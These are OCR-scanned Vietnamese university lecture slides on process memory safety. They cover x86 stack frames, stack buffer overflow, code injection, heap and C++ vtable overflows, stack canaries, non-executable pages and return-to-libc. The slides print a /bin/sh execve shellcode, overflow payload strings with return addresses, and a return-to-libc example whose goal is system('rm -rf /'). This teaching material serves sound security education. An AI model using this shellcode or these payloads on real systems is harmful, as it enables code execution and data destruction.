BAI 8.
AN TOAN VUNG NHO TIEN TRINH

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

]
NOGi dung

- L6 héng tran bd dém (Buffer Overflow)
- L6 héng tran sb nguyén

- L6 héng xau dinh dang

- Co ban vé lap trinh an toan




]
2022 CWE Top 25

- Danh séch 25 16 hdng phan mém nguy hiém nhét: 3 trong
sO Top 10 la dang 16 hong truy cap bé nh&
»+1 16 héng lién quan: CWE-20

KEV | ionge
Rank po) Name Score | Count ™" "
(CVES)| 3021
@ CWE-787 |Out-of-bounds Write 64.20 62 0
2 CWE-79 |Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') 45.97 2 0
3 CWE-89 |[Improper Neutralization of Special El used in an SQL Command ('SQL Injection') 2211 || 7 +3 A
(4 | cWE-20 [tmproper Input Validation 20.63 20 [
\§/ CWE-125 |Out-of-bounds Read 1767 | 1 2 Vv
6 CWE-78 |Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection’)| 17.53 32 -1 v
@ CWE-416 |Use After Free 15.50 28 0
8 CWE-22 |Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 14.08 19 0
9 CWE-352 |Cross-Site Request Forgery (CSRF) 11.53 1 0
10 CWE-434 |Unrestricted Upload of File with Dangerous Type 9.56 6 0
Nguén: https://cwe.mitre.org
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1. TONG QUAN VE TIEN TRINH (NHAC LAI)

Bui Trong Tung,
Vién Cong nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi




/""" 0]
Tién trinh(process) 1a gi?

- Tién trinh(process) # chwong trinh(program)
- La chwong trinh dang dwoc thwe hién
- C4c tai nguyeén t6i thiéu cda tién trinh:

»Vlng nhé duwoc cap phat

»Con tré Iénh(Program Counter)

»Cac thanh ghi ctia CPU

- Khéi diéu khién tién trinh(Process Control Block-PCB):
CAu truc chira thong tin cla tién trinh

Cép phat bd nhé cho tién trinh ntn?

Process A

Program A
Program B

B chuyén

HDD doi dia chi
(OS + CPU)
Process A
Virtual memory
RAM

(Physical Memory)




]
B& nh& cda tién trinh(Linux 32-bit)

Oxffffffff

- Tién trinh coi bd nho Loi ich:
thudc toan bd s hiru - Cach ly: Hai tién trinh
clia n6é truy cép voi dia chi

- Thuyc té day 1a bd nho giébng nhau trén bod
4o voi dia chi 8o, sé nh& do ctia nd nhwng
dwoc HDH/CPU anh truy cép t&i 6 nho
xa sang dia chi vat ly khac nhau trén bé

nhé vat ly

- Téi thiéu hoa quyén:
HDH kiém soat dé
tién trinh chi truy cap
dwoc vao bd nhé cua
noé

0x00000000

/0]
B& nh& cla tién trinh(x86 32-bit)

Oxffffffff

SETEL 0xc0000000
cmdline & env

Thiét lap khi tién
trinh bét dau

Stack M@& réng dé lwu tri dir liéu
.' khi thwe hién 161 goi ham
Thay dbi khi
thuec thi ‘.‘

Buoc quan Iy trong tién trinh boi
Heap cac ham cép phat bd nhé dong
(malloc, calloc)

BSS
Xac dinh & thoi Data
diém bién dich
Text

0x08048000
0x00000000

Khong gian dia chi

clia thiét bj vao-ra Unused




/("7
Gidi thiéu chung vé kién tric x86

- Str dung kién truc tap l1énh CISC
»Ma Iénh co6 d6 dai 1-16 byte
»Tai liéu tap 1énh: 5000 trang
- Little-edian: byte ¢ y nghia thp dugc ghi trén & nhé ¢o
dia chi thap
- Tap thanh ghi x86:
»EAX, EBX, ECX, EDX, ESI, EDI: Thanh ghi da muc dich
»ESP: Thanh ghi con tré stack
»EBP: Thanh ghi con tré co s&
»EIP: Thanh ghi con tré Iénh

]
Cu phap trén x86

- %: LAy gia tri trong thanh ghi.
»Vi du: %ebp, %esp, %eip
- $: Gia tri hang truc tiép.
»>Vidu: $1, $0x01
* (): Truy cap 6 nh¢& theo dé léch.
~Vi du: 8(%ebp) truy cap 6 nhé ndm & vi tri 8 byte phia sau dia chi &
trong thanh ghi EBP
. Lénh Assemb|y | Opcode || Source || Destination |
»Vidu: add $0x8, %ebx
v Ma gid: EBX = EBX + 0x8
»>Vidu: xor 4 (%esi), %eax
v Ma gid: EAX = EAX ~ * (ESI + 4)

10
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Stack frame
- Stack frame: ving nh¢ trén stack
dwoc tao ra dé lwu trir dir liéu Dia chi cao
cho mét [o1 goi ham:
> Tham sb
> Bién cuc bd ,
- Dia chi tra vé Toebp — v
2 A 3 e - N )
- Stack bat dau ¢ dia chi cao va 0 e
tang trwdng vé dia chi thap veos
» Lwu trir s& nguyen: little-edian °esp
> Lwu tri» mang: tir 6 c6 dia chi thap dén dia
chi cao
- Céac con tré tham chiéu t&i stack
frame:
» EBP(base poi.nter): tr6’ vé}o déy stack Dia chi thip
» ESP(stack pointer): tré vao dinh stack
1

11

]
push

%ebp —
” N A s 06
- Thém mét phan tr vao stack S
»~Giam gia tri cia ESP dé cép 0\5‘“{@6\3
thém bd nhé cho stack %esp
»~ Cét gia tri vao dinh stack(6 nho
c6 dia chi thap nhat) - -
; Trwée khi thue
- Vidu hién lénh
%ebp —
oot
™ 4
push %eax 0\3“‘ “‘a((‘”
%esp - 5 Oxcafef00d
Sau khi thue
hién 1énh 4,

12



/]
pop %ebp — "

2o
- X6a phéan t&r & dinh stack O\;\“‘f\‘(\a“\e
~Cat gia tri & dinh stack(6 nh¢ c6
dia chi thap nhat) vao thanh ghi Yhesp 0xcarar00d
»Téang gia tri ctia ESP dé thu hdi 6
nhé&
i Trwdc khi thue
- Vidu hién 1&nh
%ebp —
A0
pop %eax \%\"C

_‘eﬁ_é

%esp — |

Sau khi thue
hién lénh 45

13

Trwéce khi goi ham Ham dwoc goi thyce thi Sau khi ham ‘du’c_yc goi
trad vé
void caller() { int z:;teiéi:}:”afgl » int arg?) { void caller() {
callee(1l, 2) int loc2; callee(1l, 2)
return; . - return;
} return 0; }
}
Ham goi Ham dwoc goi Ham goi
Ham goi(caller) goi ham Ham dwoc goi thwe thi, sau do
dwoc goi (callee) tra diéu khién v& cho ham goi
14
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Quy wé'c goi ham trong x86

- Mb ta cach thirc hé thdng xtr ly 1&i goi ham
- Thir tw truyén tham sb
~Céc tham s6 dwoc day vao stack theo thi tw nguoc véi khai bao &
dau ham
- Tra vé két qua
~Gié tri trd v& dwoc gan cho thanh ghi EAX
- Thao tac trén thanh ghi: thanh ghi c6 2 loai
»Caller-save: ham dwoc goi cé thé ghi dé lén thanh ghi(EAX, ECX,
EDX)
»~Callee-saved: ham dwoc goi khong thay dbi gia tri cGa thanh ghi
khi tra vé(cac thanh ghi con lai)

15

15

L& goi ham trong x86

- Khi I&i1 goi ham dwoc thye hién, moét stack frame méi dwoc tao ra
» Céc thanh ghi ESP, EBP dich chuyén dé thao tac trén stack frame méi
» Thanh ghi EIP dich chuyén t&i ma thwe thi cia ham dwoc goi
» Dich chuyén = Thay déi gia tri clia thanh ghi dé tré t&i 6 nhé moi
- Khi tra vé t» ham duwoc goi, cac thanh ghi ESP, EBP, EIP khéi phuc
lai gia tri ch(trwde khi goi ham)

EBP — ; me i e | EBP —* ame .
ESP —>| C e 2 \[=) tre 2 (‘;a“e B
g Ca o ESP — g
EBP — o0 fraMe
,,,,,,,,,,,,,,,,,,,,,,,,,, EsP —> Ca
o | o | '?)
ep | callercode |3 3 2
””””””””””””” [} I )
caller code EIP = caller code
callee code
EIP — callee code callee code
Trwéce khi goi T e s
ham g€ Trong khi ham Sau khi ham
dwoc goi thye thi dwoc goi tra Ylée

16



void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return;

return O;

caller:
push $2
push $1

call callee
add $8, %esp

__ callee:

push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax
mov %ebp, %esp

pop %ebp
ret

17

17

, void caller() { int callee(int argl, int arg2) {
VI du char locl[4];
- callee(1l, 2) int loc2;
return; e
} return 0;
}
- Con tré EBP va
ESP dang trd EBP caller:
vao stack frame ESP —» ...
ctia ham goi EIP —— push $2
. s, push $1
- Con tré EIP tr6 call callee
vao lénh tiep add $8, %esp
theo sé duoc s
thUCthI callee:
° Lénh mau do l1a push %ebp
énh dang duoc mov %esp, %ebp
thyc thi sub 38, %esp
mov $0, %eax
mov %ebp, %esp
pop %ebp
ret
18
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Vi du

1. Day cac tham
sb vao stack theo
thi ty nguoc khi
truyén

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {

char locl[4];
int loc2;

return O;

caller:
push $2
EIP +—— push $1

call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax
mov %ebp, %esp

pop %ebp
ret

19

19

Vi du

1. D4y cac tham
sb vao stack theo
thr tw ngwoc khi
truyén

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {

char locl[4];
int loc2;

return 0;

caller:
push $2
push $1

EIP — call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

20

20
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Vi du

2. Lénh call thuyc
hién:

- DAy gia tri cta EIP
(chtra dia chi lénh
tiép theo, sau l&nh
goi ham callee, cua
caller) vao stack.
Gia tri EIP duoc
lwu nay duoc goi la
RIP (return
instruction pointer)
Thay dbi EIP trd
vao lénh ctia ham
callee

void caller() { int

callee(1l, 2)

callee(int argl, int arg2) {
char locl[4];

int loc2;
return; .
} return O;
}
push $2
2 push $1
1 call callee
add $8, %esp
ESP —| RIP cua callee ...
callee:
EIP -—— push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp

pop %ebp
ret

21

21

Vi du

Thwe hién cac Iénh
m& dau ham dé
thiét 1ap stack
frame cho ham
callee

void caller() { int

callee(1l, 2)
return;

callee(int argl, int arg2) {
char locl[4];
int loc2;

return 0;

ESP —| RIP cua callee

caller:
push $2
push $1

call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp

sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

22

22
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Vi du

3. Cét gia tri hién

tai cua EBP vao

stack

- Gia tri dwoc cét
gitr nay dugc goi
la SFP (saved
frame pointer)

- SFP dwoc st
dung dé khoi
phuc lai gia tri
cho con tré EBP
khi ham callee
tra vé

void caller() { int

callee(1l, 2)

callee(int argl, int arg2) {
char locl[4];

int loc2;
return; .
} return 0;
}
push $2
2 push $1
1 call callee
add $8, %esp
RIP cua callee o
ESP —| SFP cua callee
callee:
push %ebp
EIP —— mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp

pop %ebp
ret

23

23

Vi du

4. Dich chuyén
EBP t&i vi tri clia
ESP

EBP — ESP —| SFP cua callee

void caller() { int

callee(1l, 2)
return;

callee(int argl, int arg2) {
char locl[4];
int loc2;

return 0;

2

1

RIP cua callee

caller:
push $2
push $1

call callee
add $8, %esp

callee:

push %ebp

mov %esp, %ebp
EIP —— sub $8, $esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

24

24
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Vi du

4. Dich chuyén
ESP dé tao khéng
gian nh¢ lwu triv
gia tri cGia cac bién
cuc bd

void caller() {

callee(1l, 2)

return;

int callee(int argl, int arg2) {
char locl[4];
int loc2;

return O;

EBP —

ESP —|

2

1

RIP cua callee

SFP cua callee

locl

loc2

caller:
push $2
push $1

call callee
add $8, %esp

callee:

push %ebp

mov %esp, %ebp

sub $8, %esp
EIP —— -
mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

25

25

Vi du

5. Thwe thi ham
callee

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {

char locl[4];
int loc2;

return 0;

2

1

RIP cua callee

EBP —

SFP cua callee

locl

ESP —

loc2

caller:
push $2
push $1

call callee
add $8, %esp

callee:

push %ebp

mov %esp, %ebp

sub $8, %esp
EIP —— -
mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

26

26
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Vi du

6. Gan gia trj tra vé
clia ham callee
vao thanh ghi EAX

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {
char locl[4];
int loc2;

return O;

EBP —

ESP —|

2

_ e
push $2

push $1

1

call callee

RIP cua callee

add $8, %esp

SFP cua callee
callee:
locl push %ebp
loc2 mov %esp, %ebp

sub $8, %esp

mov $0, %eax

EIP —— mov %ebp, %esp

pop %ebp
ret

27

27

Vi du

Thwe hién cac Iénh
két thic ham
callee dé khoi
phuc gia tri cho
EBP va ESP trd
vao stack frame
clia ham caller

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {

char locl[4];
int loc2;

return 0;

2

caller:
push $2
push $1

1

call callee

RIP cua callee

add $8, %esp

EBP —

SFP cua callee

callee:

locl

push %ebp

ESP —

loc2

mov %esp, %ebp

sub $8, %esp

mov $0, %eax

EIP —

28
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, void caller() { int callee(int argl, int arg2) {
VI du char locl[4];
- callee(1l, 2) int loc2;
return; e
} return O;

7. Di chuyén con

trd ESP vé vj tri caller:

ctia EBP ~ x0a _ bush §
N . X p push $2

vung nhé cap phat Z push $1

1 call callee
add $8, %esp

cho bién cuc bod

RIP cua callee
ESP — EBP —| SFP cua callee

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp
EIP —— pop %ebp
ret

29

, void caller() { int callee(int argl, int arg2) {
VI du char locl[4];
= callee(1l, 2) int loc2;
return; e
} return 0;

7. LAy ra gia tri
SFP & dinh stack

caller:

va gan cho EBP ...
- EBP tré vao stack push $2
push $1

frame cldia ham call callee

caller 1 add $8, %esp
- ESPting~x6a®6 ESP —| RIP cua callee .

nhé chlra SFP

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp

EIP —— ret

30




Vi du

8. Lénh ret thuyc

hién:

- LAyragiatriRIP &
dinh stack va gan cho
EIP, khi d6 EIP tro
vao lénh tiép theo
trong ham caller, sau
161 goi ham callee

- ESPtang ~ xda 6
nhé chira RIP

void caller() { int

callee(1l, 2)

callee(int argl, int arg2) {
char locl[4];

int loc2;
return; e
} return 0;
}
o _ -
push $2
2 push $1

ESP —

call callee
EIP — add ss, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax
mov %ebp, %esp

pop %ebp
ret

31

31

Vi du

9. Tang gia tri ESP
dé xda gia tri cac
tham s6 ra khoi
stack. Luc nay,
stack da khdi phuc
vé trang thai truéc
khi thwc hién |&i
goi ham callee

void caller() { int

callee(1l, 2)
return;

callee(int argl, int arg2) {
char locl[4];
int loc2;

return 0;

EBP —
ESP —

caller:
push $2
push $1
call callee
add $8, %esp
EIP —— .

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

32

32
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2. TAN CONG TRAN BO BEM

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

33

33

]
Khai niém

- B6 dém (Buffer): tap hop lién tiép cac phan t& co kiéu div
liéu xac dinh
Vi du: Trong ngén ngir C/C++, xau la b6 dém clia cac ky tw
»C6 thé hiéu theo nghta rong: bd dém = vung nhé chira div liéu

- Tran bd dém (Buffer Overflow-BoF): BDwa di¥ liéu vao bd
dém nhiéu hon kha nang cha ctia né

- L6 héng tran bd dém: Khong kiém soat kich thuwéc dir liéu
dau vao.

- Tén cbng tran bé dém: Phan di¥ liéu tran ra khdi bd dém
lam thay dbi ludng thwc thi cla tién trinh.
~DAan t&i mot két qua ngoai mong doi

- Ngén nglr bi anh huwéng: C/C++

34
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7
C/C++ van rat pho bién(2022)

m e

Python 100

Ci+ 88.58
ci#t 86.99
70.22

=
5
<
5

‘ Spectrum IHH Trending

SsQL 100
Java 95.07

Python 88. 2!
JavaSeript 71.18

c#

L 71.13]
. 63.19
c
HTML
TypeScript
scats 35
35
Sw phd bién cuia 16 hdng BoF
Su phd bién cua 16 héng Buffer Overflow
2500 14 Total
2229
12
2000
10
21500 .
<
©
S 1000 6 BoF
4
500
2
0 0
2018 2019 2020 2021 2022 R O T T
w5616 hdng  =e=Ti & (%)
Ngubn: www.cvedetails.com
36
36
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Vi du vé tran b6 dém

void func(char *argl)

{

char buffer[4];
strcpy (buffer, argl);
return;
}
int main ()
{
char *mystr = “AuthMe!”;
=) func (mystr) ;

}

buffer

37

37

/0]
Vi du vé tran bo dém

void func(char *argl)

{

char buffer(4];

m) strcpy (buffer, argl);
return;

}

int main ()

{
char *mystr = “AuthMe!”;
func (mystr) ;

M e ! \O

buffer

38
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Vi du vé tran b6 dém

void func(char *argl)

{

char buffer(4];
strcpy (buffer, argl);

= return; [gop Sebp %ebp = 0x0021654d

} —>SEGMENTATION FAULT
int main ()

{
char *mystr = “AuthMe!”;
func (mystr) ;

M e !'\O

A u t h 4d 65 21 00 RIP &argl

buffer

39

39

]
Tran b6 dém — Vi du khac

void func(char *argl)

{

int authenticated = 0

char buffer([4];

strcpy (buffer, argl);

if (authenticated) {//privileged execution}
}
int main ()

{ Ham dwoc thue
char *mystr = “AuthMe!”;

func (mystr) ; thi nhw thé nao?

M e !'\O

A u t h 4d 65 21 00 SFP RIP &argl

buffer authenticated

40

40
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Tran bd dém — Vi du khac

void func (char *argl)

{

int authenticated = 0

char buffer[4];

strcpy (buffer, argl);

if (authenticated) {//privileged execution}
}
int main ()
{

char *mystr = “AuthMe!”;

func (mystr) ;

}

D@ liéu tran ra khdi bé dém cé thé ghi dé vao cac 6 nh& khac

A 4

41

41

Khai thac 16 hdng tran bd dém

- L6 hdng tran bd dém cho phép ké tan cong truy cap
(read/write/execute) tuy y vao vuang nhé& khac

- Phwong thire khai thac phd bién nhat: chén ma nguén
thwe thi (code injection)

- Y twdng

1? /— EIP

text 00 00 00 00 SFP RIP> &argl .. Malcode

Buffer overflow

42

42
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Code Injection — Vi du

RIP cua vulnerable |(RIP
SFP cta vulnerable |SFP
name
name o
name ﬁ
void vulnerable (void) { name o
char name[20];
gets (name) ; name

]
Code Injection — Vi du

. Pauvao: 'a' * 24 +
"\xef\xbe\xad\xde’
 Ghi 24 byte vao name va SFP
o Ghi dja chi ctia Iénh muon thuc
thi vao RIP
« Lam cach nao dé thuc thi cac
lénh khéng nam trong b6

nho?
o Sl dung Shellcode \zef'|'\xbe'|"\xad"|'\xde'| RIP
A A A A SFP
Al A" A" Al
Al A" A" Al
']
ar | a | ar | A E
void vulnerable (void) { X A A Al 8
char name[20]; ‘
gets (name) ; Al A" A" Al
}
44




r /¢ ///—"""*"+"/0
Shellcode

- Shellcode: ma ddc dwoc chén vao bd nhé dé khai thac 16
héng
»Tao ra va thwc thi Iénh shell ctia HBH
- Day la cach thire phd bién nhat dé thyc thi ma doc

Xor %eax, %eax

push %eax

push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx

0x31 OxcO 0x50 0x68
0x2f 0x2f 0x73 0x68
0x68 0x2f 0x62 0x69
Ox6e 0x89 Oxe3 0x89
Oxcl 0x89 0xc2 0xb0
0x0b Oxcd 0x80

mov %$eax, %ecx
mov %$eax, %edx
mov $0xb, %al
int $0x80

45

45

]
Code Injection — Cach khai thac

1. Tim 16 héng an toan bd nhé
2. Ghi ma déc vao mot vung nhé nao dé
3. Ghi dé dia chi vung nh& chira méa doc vao RIP

» Théng thwong, t viéc khai thac 1 vi tri 16i c6 thé ddng thdi ghi ma
doc va ghi d& RIP

4. Ham c6 16 hdng tra vé
5. Ma déc dwoc thwce thi

46
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void vulnerable (void) {
char name[20];
gets (name) ;

Code Injection — Vi du

Oxbfffcd5c
0xbfffcd58
O0xbfffcd54
0xbfffcd50
Oxbfffcd4dc
O0xbfffcd48
Oxbfffcd44
0xbfffcd40

RIP cua vulnerable

SFP cua vulnerable

name

name

name

name

name

47
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Code Injection — Vi du

« Dau vao: SHELLCODE +
'A' * 12 +
"\x40\xcd\xff\xbf'
~ 12 bytes chtra shellcode

12 byte 1ap day name va
SFP cla vulnerable
» Dia chi cta shellcode
- C6 cach khac khéng?
- Néu SHELLCODE c6 kich
thwde Ion hon 28 byte?

void vulnerable (void) {
char name[20];
gets (name) ;

Oxbfffcd5c

0xbE££edsS

Oxbfffcd54
0xbf£ffcd50
Oxbfffcddc
Oxbfffcd48
Oxbfffcd44

0xbE££ed4n

'\x40'|'\xcd'|'\x££'|' \xb£f"'

'A’ ‘A’ ‘A’ 'A’

'A’ ‘A’ ‘A’ 'A’

'A’ ‘A’ ‘A’ 'A’
SHELLCODE
SHELLCODE
SHELLCODE

48
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Code Injection — Vi du
- Néu shellcode c6 kich thuéc 1én i | Q}{;Ll.c&;; |
thi dat vao sau 6 nh¢ chira RIP prp—
»RIP="7 SHELLCODE
-Vidu: 'a' * 24 + SHELLCODE
"\x5c\xcd\xff\xbf' + SHELLCODE
SHELLCODE
SHELLCODE
i . SHELLCODE
~24 byte lap day name "\xef'|'\xbe'|'\xad'|'\xde'| RIP
>4 byte dia chi viing nh& chira 'a' | 'a' | 'a' | 'a' | SFP
shellcode ghi dé vao 6 nh& chira RIP ‘A | At | A | oA
»Shellcode S I I o
void vulnerable (void) { ': ': ': ': §
char name[20];
gets (name) ; ‘A’ ‘A’ ‘A’ ‘A’
}
49

49
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Code Injection — Vi du

vulnerable:
void vulnerable (void) EIP +—> call gets
{ addl $4, %esp
char name[20]; movl %ebp, %esp
gets (name) ; popl %ebp ..
} ret
RIP cua vulnerable
int main(void main: R
vulm:rabl;(){ . . EBP —| SFP cia vulnerable
) return 0; call vulnerable name
name
name
name
name
ESP —

50

50



void vulnerable (void)
{
char name[20];
gets (name) ;

}

int main(void) {
vulnerable() ;
return 0;

vulnerable:

EIP +—> call gets

addl $4, %esp
movl %ebp, %$esp
popl %ebp

ret

main:

call vulnerable

Code Injection — Vi du

(RIP) Oxbfffcd40

EBP —|

(SFP) 'AAAA’

(name) 'AAAA'

(name) 'AAAA’

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

ESP —

51
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void vulnerable (void)
{
char name[20];
gets (name) ;
}

int main(void) {
vulnerable() ;
return 0;

EIP

vulnerable:
call gets

—> addl $4, %esp
movl %$ebp, %esp
popl %ebp
ret

main:

call vulnerable

Code Injection — Vi du

(RIP) Oxbfffcd40

EBP —|

(SFP) "AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

ESP —|

52
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void vulnerable (void)
{
char name[20];
gets (name) ;

}

int main(void) {
vulnerable() ;
return 0;

Code Injection — Vi du

vulnerable:
call gets
addl $4, %esp

EIP +— movl %ebp, %esp

popl %ebp
ret

main:

call vulnerable

(RIP) Oxbfffcd40

EBP —|

(SFP) 'AAAA’

(name) 'AAAA'

(name) 'AAAA’

(name) SHELLCODE

(name) SHELLCODE

ESP —

(name) SHELLCODE

53
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void vulnerable (void)
{
char name[20];
gets (name) ;
}

int main(void) {
vulnerable() ;
return 0;

Code Injection — Vi du

EIP -

vulnerable:
call gets
addl $4, %esp
movl %ebp, %esp
I popl %ebp
ret

main:

ESP 1

call vulnerable

(RIP) Oxbfffcd40

—>EBP —| (SFP) 'AAAR'
(name) 'AAAA'
(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

54
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Code Injection — Vi du

Dau vao:
SHELLCODE + 'A' * 12
+ '\x40\xcd\xf£\xbf'

vulnerable:

void vulnerable (void) call gets
{ addl $4, %esp

char name[20]; movl %ebp, %esp

gets (name) ; popl %ebp "\x00"
} EIP +—> ret

ESP —| (RIP) Oxbfffcd40 M

int main(void) { main: ' ' -

vulnerable() ; . (SFP) AAAA

return 0; call vulnerable (name) "AAAA'
}

(name) 'AAAA’

(name) SHELLCODE

Két thic ham vulnerable: khdi phuc EBP bing

SFP, b&i vay EBP trd t&i 6 nhé co dia chi
'AAAA’ . Hién tai diéu nay chwa gay anh (RSBl CODE: [
hwéng gi. Tuy nhién, sau d6 Ii c6 thé phat
sinh khi ham main tra vé. 55

(name) SHELLCODE

55

void vulnerabl

{

char name[
gets (name) ;

popl %ebp
ret

ESP —|'\x00'
(RIP) Oxbfffcd40 —

}

int main(void) { main:

' ' -
vulnerable() ; . (SFP) AAAA
return 0; call vulnerable (name) 5
} LI
(name) '"AAAA'

(name) SHELLCODE

Két thuc ham vulnerable: khdi phuc EIP bang

RIP, bdi vay EIP trd toi 6 nhé chiva shellcode. (nane) SHELLCODE

EIP — (name) SHELLCODE [

56
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L& héng khi truy cap ving nhé heap

- Heap overflow:
»Dbi twong dwoc cap phat bd nhé trong heap (malloc, new)
»Khéng kiém soat di¥ lieu dwoc ghi vao bo dém
»DU liéu tran ra khéi bo dém ghi de vao vung di¥ liéu, con tré khac
»Hau qua: ma doéc duoc thye thi, ludng chwong trinh bi thay ddi
- Use-after-free:
»Mét dbi twong dwoc gidi phéng bd nhé qua sém(free, delete)
»Ké tn cong xin cip phat bd nhé, ma cé thé sé dwoc cap phat
vung nhé vira dwoc gidi phéng
»Ké tn coéng ghi di liéu ddc hai vao ving nhé
»Chuwong trinh truy cap vao vung nhé ma da dwoc giadi phong va st
dung di¥ liéu dbc hai

57
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Heap overflow: C++ vtables

- C++ 1a mdt ngdn ngl 1ap trinh hwéng déi twong
»M@éi lép sé dwoc khai bao cung véi cac thudc tinh va phwong thire
- Khi dbi twong dwoc khéi tao, mét vang nhé trong heap
duwoc cap phat
- Quan ly vang nhé cta déi twong:
»M®éi I&p cd mot bang do(vtable: chira con trd téi cac phwong thirc)
»Khi dbi twong dwoc khdi tao, con tré vtable(thworng dét & dau dbi
twong) tré t&i vang nhé chra bang ao cla lép
»Thuwe thi phwong thire: Xac dinh dia chi cha phwong thirc theo d6
|&éch v&i con tré vtable
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C++ vtables

instance variable of y

address of method bar

method bar of ClassY

address of vtable of y

address of method foo

ClassY vtable

method foo of ClassY

instance variable of x

instance variable of x

address of method bar

method bar of ClassX

address of vtable of x

address of method foo

Heap

ClassX vtable

method foo of ClassX

Code

C++ vtables

instance variable of y

address of method foo

ClassY vtable

method foo of ClassY

instance variable of x

instance variable of x

address of method bar

method bar of ClassX

address of vtable of x

address of method foo

Heap

ClassX vtable

6

method foo of ClassX

Code

0

60




/]
C++ vtables

L

instance variable of y

address of vtable of y

address of method bar

method bar of ClassY

address of SHELLCODE

address of method foo

SHELLCODE

ClassY vtable

method foo of ClassY

instance variable of x

instance variable of x

address of method bar

method bar of ClassX

address of vtable of x

address of method foo

Heap

ClassX vtable

method foo of ClassX

Code

Gia st 16i tran bd dém xuét hién cho phép lam tran thudc tinh nao doé

cla x, gia tri con trd vtable ctia y cé thé bj ghi d&

61
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Buffer Overflow — Phong chong

- Secure Coding: st¥ dung cac ham an toan c6 kiém soat
kich thwde dir liéu dau vao.
~fgets(), strlcpy(), stricat()...

- Stack Shield:

»Lwu tri dia chi trd vé vao viing nhé bao vé khong thé bi ghi dé

»Sao chép dia chi tra vé tlr viing nhé bao vé

- Stack Guard: str dung cac gia tri canh gitr (canary) dé
phat hién ma ngudn bj chén

- Non-executable pages: Khdong cho phép thyc thi ma
ngudn trong moét sé loai trang nh&, vi du: stack
»Linux: sysctl -w kernel.exec-shield=0
~VAan bi khai thac b&i ky thuat return-to-libc, return-oriented

programming

62

62

31



1
St dung gia tri canh gitr - Vi du

callee () static int random;
{ caller ()

int canary = random; {

char buffer[]; random = rand();

... callee();

if (canary!=random) }

//detect attack

else return;

}

00 00 00 00 4d 65 21 00 &argl

buffer canary

Buffer Overflow attack argl

buffer canary 63

63

/000 ]
S dung gia tri canh gilr - Han ché

- RO ri gia tri canh gitr: d6i phwong ghi dé gia tri canh git
bang gia tri cha chinh né
~Bat ky 16 hong nao lam ro ri bo nho stack déu cho phép ké tan
cong xac dinh dwoc gia tri canh gitr. Vi du: 16 hdng xau dinh dang
- Vong tranh gia tri canh git:
»@Gia tri canh gilr co tac dung’khi géc ham nhan di liéu dau vao ghi
d liéu lién tuc tir dia chi thap dén dia chi cao.
» M6t vai ki thuat tAn cong cho phép ghi vong quang gia tri canh gitr:
v Khai thac 16 héng xau dinh dang cho phép ghi vao & bat ky
v Tran b dém trong vung nh& heap
v Khai thac 16 héng trong C++ vtable

- K& tn cong c6 thé doan gia tri canh gilr

64
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Non-executable pages — Han ché

- Ky thuat nay khéng thé ngan can ké tan cong loi dung ma
thwe thi da dwoc nap san trong bd nho.
»Vi du: cac ham thw vién chuan cta C (libc), ham 1oi goi hé théng
- Phan I&n cac chuong trinh thwdng st dung cac ham ma
ma ngudn da dwoc nap vao bd nhé
- Cac ky thuat khai thac:
»Return-to-libc: ghi dé gia tri RIP d& nhay t&i ham trong thw vién
chuén cta C, hodc ham I&i goi hé théng
,Return-‘oriented programming (ROP): tao shellcode ma né st dung
mot phan ma thye thi da dwgc nap

65
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Return-to-libc: Vi du

- K& tn cong muén thyc thi system (“rm -rf /%)

RIP cua main

system:
SFP cua main

void vulnerable (void) .

{ vulnerable: RIP cua vulnerable
char name[20]; EBP —| SFP cua vulnerable
gets (name) ; EIP —> call gets

} addl $4, %esp name

movl %ebp, %esp

int main(void) { popl %ebp name

vulnerable() ; ret
name
return 0;

} main: name

call vulnerable name

ESP —*| &name (tham sé ctia gets)

66
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void vulnerable (void)
{
char name[20];
gets (name) ;

}

int main(void) {
vulnerable() ;
return 0;

Return-to-libc: Vi du

- Ké t&n cong mudn thyc thi system (“rm -rf /%)

EIP

system:

vulnerable:

call gets
—> addl $4, %esp
movl %ebp, %$esp

popl %ebp
ret

main:

call vulnerable

[address of system()]

EBP —|

ESP —

&name (tham sé cia gets)

67

67

void vulnerable (void)
{
char name[20];
gets (name) ;
}

int main(void) {
vulnerable() ;
return 0;

Return-to-libc: Vi du

- K& tn cong muén thyc thi system (“rm -rf /%)

EIP+— ...

system:

vulnerable:
call gets
addl $4, %esp
movl %$ebp, %esp
popl %ebp
ret

main:

call vulnerable

sP —

[address of system()]

&name (tham sé cia gets)

68
